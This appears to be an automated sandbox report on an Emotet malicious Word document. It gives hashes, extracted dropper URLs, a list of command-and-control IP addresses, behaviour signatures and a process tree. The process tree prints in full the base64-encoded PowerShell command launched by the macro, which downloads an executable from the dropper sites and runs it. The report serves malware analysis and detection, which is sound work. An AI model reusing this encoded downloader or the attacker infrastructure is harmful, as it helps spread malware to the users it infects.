Analysis

  • max time kernel
    135s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    29-07-2020 01:44

General

  • Target

    emotet_e1_2d0a5eef7407bd0f934ef9ad2782e437c5cdb55e31e66384e6442d82cf7735c5_2020-07-29__014446._doc.doc

  • Size

    172KB

  • MD5

    178a5f6daf5e23231856627d16dfcbff

  • SHA1

    cfb6eeda8a907bb64b27a39692acc15e93560425

  • SHA256

    2d0a5eef7407bd0f934ef9ad2782e437c5cdb55e31e66384e6442d82cf7735c5

  • SHA512

    5c299c4ba5f27710a0dc7ad05d5010d8995ec9c0d0f2fe373772138068dfcce3cf32bbb4d40e4eaf30ff56495044ee05f5db7835ada6fb6a8908b2f79ad36da3

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://arizonaonsale.com/cgi-bin/VuM64/

exe.dropper

https://www.compednet.com/wp-content/Nv55027/

exe.dropper

http://eltallerartistico.com/language/Uybj0/

exe.dropper

http://classicpaint.net/wp-content/tVS1/

exe.dropper

http://closhlab.com/OWN/lUvYIzLMa/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2d0a5eef7407bd0f934ef9ad2782e437c5cdb55e31e66384e6442d82cf7735c5_2020-07-29__014446._doc.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:3100
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:2332
  • C:\Users\Admin\45.exe
    C:\Users\Admin\45.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    PID:1160
    • C:\Windows\SysWOW64\vccorlib110\cfgbkend.exe
      "C:\Windows\SysWOW64\vccorlib110\cfgbkend.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1572

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\45.exe

  • C:\Users\Admin\45.exe

  • C:\Windows\SysWOW64\vccorlib110\cfgbkend.exe

  • memory/1160-10-0x0000000000550000-0x000000000055C000-memory.dmp

    Filesize

    48KB

  • memory/1572-13-0x00000000006F0000-0x00000000006FC000-memory.dmp

    Filesize

    48KB

  • memory/1572-11-0x0000000000000000-mapping.dmp

  • memory/3100-3-0x000001358D651000-0x000001358D656000-memory.dmp

    Filesize

    20KB

  • memory/3100-7-0x000001358D8B0000-0x000001358D8B5000-memory.dmp

    Filesize

    20KB

  • memory/3100-6-0x000001358D8B5000-0x000001358D8BA000-memory.dmp

    Filesize

    20KB

  • memory/3100-5-0x000001358D8B5000-0x000001358D8BA000-memory.dmp

    Filesize

    20KB

  • memory/3100-4-0x000001358D64C000-0x000001358D651000-memory.dmp

    Filesize

    20KB

  • memory/3100-0-0x000001358D64C000-0x000001358D651000-memory.dmp

    Filesize

    20KB

  • memory/3100-2-0x000001358D651000-0x000001358D656000-memory.dmp

    Filesize

    20KB

  • memory/3100-1-0x000001358D64C000-0x000001358D651000-memory.dmp

    Filesize

    20KB